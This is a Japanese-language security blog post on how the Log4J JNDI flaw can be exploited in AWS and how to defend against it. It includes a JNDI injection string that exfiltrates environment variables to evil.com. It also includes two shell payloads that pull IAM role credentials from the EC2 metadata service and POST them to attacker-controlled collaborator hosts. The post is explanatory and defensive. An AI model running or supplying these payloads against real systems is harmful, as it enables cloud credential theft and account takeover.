クラウド、Log4Jは何を意味するのか？
あなたが岩の下で至福の時を過ごしていない限り、セキュリティとテクノロジーにおけるここ数週間は、Log4J Javaライブラリの重大な脆弱性で占められている。 Log4J JNDIの脆弱性は、単一の脆弱性ではなく、むしろリモートコード実行による攻撃を開始するためのプラットフォームだ。
今ごろは、対応担当者、アナリスト、エンジニアは、次のような急流レスポンス のステップを踏んでいることだろう。
- 影響を受けるシステムの特定とパッチの展開
- 回転する資格証明書
- 妥協の指標を探す
この投稿は、レスポンス の3番目のステップである、侵害の指標を探し、脆弱なLog4Jライブラリの潜在的な影響を理解すること、特にパブリックなクラウド環境で展開された場合について取り上げます。これは、オンプレミスのネットワークに関連するトピックに関するVectraの他の声明に追加されるものです。
攻撃者はどのようにしてLog4Jの脆弱性を悪用するのか？
Log4Jの基本的な脆弱性はインジェクションであり、システムを悪用する2つの経路がある。
1.外部 Java クラスファイルによるリモートコード実行
- ロギングフレームワークLog4Jのインジェクション脆弱性により、被害者サーバーがJavaクラスファイルを返されることを期待するリモートサーバーにHTTPリクエストを行うよう、被害者サーバーを誘導することが可能です。
- 攻撃者が外部サーバーをコントロールすると、レスポンス で被害者に返されるコンテンツもコントロールされる。ここで、任意のコードをJavaクラス・ファイルに埋め込んで被害者サーバーに配信し、被害者サーバーで実行させることができる。
2.DNSルックアップによるデータ流出
- インジェクションの脆弱性により、被害サーバーが外部サーバーへのアウトバウンド・クエリーを実行するように仕向けられる。攻撃者は外部サーバーのホスト名をコントロールするので、これは環境変数の値をリークするメカニズムになる。
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
Log4Jの脆弱性は、クラウドのデプロイメントにどのような影響を与えますか？
システム上に脆弱な Log4J ライブラリがある場合、攻撃者は DNS ルックアップのメカニズムを通じてデータを流出させ、あらゆる環境変数の値を取得する能力を持つことが広く報告され、認識されている。秘密を含む一般的に見られる AWS 変数は、これらの AWS 固有の変数がクラウド環境で一般的に見られるかもしれないと予想されて出回った。
しかし、シークレットを環境変数に割り当てるのは良くない習慣であり、AWSの最大の攻撃対象であるEC2インスタンスで見つかる可能性は低い。
awscliがエンドユーザーによって設定されたワークステーションや、変数'AWS_ACCESS_KEY_ID'、'AWS_SECRET_ACCESS_KEY'、'AWS_SESSION_TOKEN'がランタイムによって事前に設定されたラムダ関数では、AWS固有の環境変数がエンドポイントで設定される可能性が高い。
AWS固有の環境変数がEC2インスタンスで見つかる可能性は低い。代わりに、AWS EC2インスタンス上で実行するアプリケーションは、EC2インスタンスに割り当てられたEC2インスタンスプロファイルの一時的な認証情報を使用する。これらの一時的な認証情報は、Instance Metadata Service(IMDS）と呼ばれる内部のHTTPエンドポイントから発行される。そのため、Log4Jの脆弱性を使ってEC2インスタンスからこれらの認証情報を取り出すことができる。
リモートコード実行を使用してインスタンスメタデータの認証情報を抽出する
Log4Jの脆弱性というスイスアーミーナイフを活用することで、悪意のあるアクターはEC2インスタンスから一時的なセッション認証情報を抽出し、AWSリソースに対して行為することができる。
ペイロードによる攻撃経路の例
1.JNDIペイロードを注入し、EC2が実行しているIAM Roleの内部インスタンスメタデータAPIを照会し、ロール名をファイルに保存し、攻撃者が制御するエンドポイントにポストバックするよう、被害者のEC2に指示する。
- IMDSv1 を実行している EC2 インスタンスに配信される最初のペイロード:/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2.ロール名で武装し、別のJNDIペイロードを注入し、被害者EC2に一時的なセッション・トークンを内部インスタンス・メタデータAPIに問い合わせ、トークンをファイルとして保存し、ファイルの内容を攻撃者が制御するエンドポイントにポストバックするよう指示する。
- IMDSv1 を実行している EC2 インスタンスに配信する 2 番目のペイロード：/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3.最後のJNDIペイロードは、被害者のEC2に前の2つのインジェクションで作成された一時ファイルを削除するよう指示する。
抽出されたセッショントークンのデフォルトのTTLは1時間である。 攻撃者はこの時間を利用して、あたかもEC2インスタンスであるかのようにAWSリソースに対してアクションを起こすことができる。 影響はEC2インスタンスに割り当てられた権限に完全に依存する。
Log4JによるIMDS認証情報の抽出のバリエーション
EC2インスタンスのインスタンス・メタデータ・サービスからクレデンシャルを抽出する潜在的な手法は、膨大かつ多様である。攻撃者は、HTTPを使用して内部サービスにクエリを発行し、認証情報を取得するペイロードのあらゆるバリエーションを使用できる。ペイロードは、上記のように2つのステップで配信することも、1つのステップに凝縮して配信することもできる。 インスタンスメタデータサービスからのレスポンスを環境変数に格納するペイロードを配信することもでき、環境変数の値はセカンダリ JNDI インジェクションによって抽出されます。すべての可能なバリエーションで一貫した唯一の特徴は、EC2インスタンス上で実行されているインスタンスメタデータサービスにHTTPリクエストを行う必要があることだ。
IMDSv1とIMDSv2の比較
EC2インスタンスメタデータサービスの悪用が横行したことを受け、2019年、AWSはサービスのv2であるIMDSv2を発表した。 IMDSv2では、内部のEC2インスタンスメタデータサービスに対してHTTPコールを2回行う必要があり、1回目のコールからのレスポンスは、一時的なセッション認証情報を取得するために2回目のコールの入力として使用され、効果的にセッションベースのインスタンスメタデータサービスを作成します。SSRFのようなWebアプリケーションの脆弱性から保護する場合、IMDSv2を実施することは重要な深層防御戦略である。 しかし、特にLog4Jの脆弱性の悪用に関連すると、攻撃者は犠牲となったEC2インスタンス上で任意のコマンドを実行できるため、IMDSv2はインスタンスメタデータサービスを介した一時的な認証情報の抽出に対する保護を提供しない。
EC2のフットプリントを守るには？
脆弱なLog4Jライブラリを特定し、パッチを当てるだけでなく、システム所有者に何ができるだろうか？
1.潜在的な危険の爆発半径を限定する。
- インスタンスメタデータサービスのHTTPエンドポイントを無効にし、EC2インスタンスのロールを不要な場所に割り当てない。
- すべてのクラウドリソース (EC2 インスタンス、Lambda ファンクション、コンテナなど) に付与されているポリシーとパーミッションを確認する。特に、永続化メカニズムとして使用される可能性のある IAM パーミッションに注意して、割り当てられたパーミッションを確認する。
- システム上の環境変数を検査し、クレデンシャルをローテーションすることを含む推奨事項に従ってください。 しかし、攻撃者がそのアクセス権を使って内部メタデータAPIに直接クレデンシャルを照会した場合、これらの推奨事項では不十分であることに留意してほしい。
2.環境に対する不正な変更を特定する。
- 侵害の指標を探すときは、新しいユーザー、ロール、または信頼ポリシーのような新しい IAM リソースが作成されていないか、AWS エステートを確認します。
最後に思うこと
EC2インスタンスのメタデータAPIを攻撃することは目新しいことではない。 このサービスの悪用は、クラウドセキュリティリサーチャーが存在する限り、研究者によって説明されてきた。これは「新しいバグ」ではなく、むしろクラウドコンピューティングにおけるLog4Jの脆弱性の影響の新しい表現である。 この投稿はAWS環境に対する脅威に特化しているが、GCPやAzure環境でも同じ原則が当てはまる。
AWS上でLog4Jエクスプロイトをテストする
この研究の一環として、私はLog4Jサンドボックスを開発した。 このサンドボックスには、研究者feihongから提供されたオリジナルのJNDI Expoit Serverと、@christophetdから提供されたJavaベースの脆弱なアプリケーションを含むEC2インスタンスが含まれている。 私はこのサンドボックスとAWSにデプロイするためのTerraformを公開し、将来の研究者がLog4Jをより早く使いこなすのを支援したり、組織でトレーニングツールとして使用できるようにした。
スペシャルサンクス
脆弱なLog4J dockerアプリを公開してくれた@christophetdに大きな拍手を送りたい。私はテストで彼らの脆弱なアプリケーションを使い、Log4J テストサンドボックスの Terraform デプロイメントにバンドルした。
継続的な脅威検知によって AWS フットプリントにおける攻撃者の初期侵害の進行をどのように防ぐことができるか、また Vectra の Detect for AWSがどのように機能するかについてのフォローアップ ブログにご期待ください。